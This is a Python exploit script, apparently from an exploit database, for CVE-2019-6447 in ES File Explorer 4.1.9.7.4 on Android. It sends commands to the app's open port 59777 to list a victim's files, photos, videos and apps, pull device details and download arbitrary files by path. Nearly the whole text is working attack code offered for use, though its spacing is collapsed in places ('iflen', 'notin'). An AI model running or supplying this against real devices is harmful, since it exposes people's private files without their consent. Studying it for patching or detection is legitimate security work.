# Exploit Title: ES File Explorer 4.1.9.7.4 - Arbitrary File Read# Date: 29/06/2021# Exploit Author: Nehal Zaman# Version: ES File Explorer v4.1.9.7.4# Tested on: Android# CVE : CVE-2019-6447import requests
import json
import ast
import sys
iflen(sys.argv)<3:print(f"USAGE {sys.argv[0]} <command> <IP> [file to download]")
sys.exit(1)
url ='http://'+ sys.argv[2]+':59777'
cmd = sys.argv[1]
cmds =['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]if cmd notin cmds:print("[-] WRONG COMMAND!")print("Available commands : ")print("listFiles : List all Files.")print("listPics: List all Pictures.")print("listVideos: List all videos.")print("listAudios: List all audios.")print("listApps: List Applications installed.")print("listAppsSystem: List System apps.")print("listAppsPhone : List Communication related apps.")print("listAppsSdcard: List apps on the SDCard.")print("listAppsAll : List all Application.")print("getFile : Download a file.")print("getDeviceInfo : Get device info.")
sys.exit(1)print("\n==================================================================")print("|ES File Explorer Open Port Vulnerability : CVE-2019-6447|")print("|Coded By : Nehal a.k.a PwnerSec |")print("==================================================================\n")
header ={"Content-Type":"application/json"}
proxy ={"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}defhttpPost(cmd):
data = json.dumps({"command":cmd})
response = requests.post(url, headers=header, data=data)return ast.literal_eval(response.text)defparse(text, keys):for dic in text:for key in keys:print(f"{key} : {dic[key]}")print('')defdo_listing(cmd):
response = httpPost(cmd)iflen(response)==0:
keys =[]else:
keys =list(response[0].keys())
parse(response, keys)if cmd in listCmds:
do_listing(cmd)elif cmd == cmds[9]:iflen(sys.argv)!=4:print("[+] Include file name to download.")
sys.exit(1)elif sys.argv[3][0]!='/':print("[-] You need to provide full path of the file.")
sys.exit(1)else:
path = sys.argv[3]print("[+] Downloading file...")
response = requests.get(url + path)withopen('out.dat','wb')as wf:
wf.write(response.content)print("[+] Done. Saved as `out.dat`.")elif cmd == cmds[10]:
response = httpPost(cmd)
keys =list(response.keys())for key in keys:print(f"{key} : {response[key]}")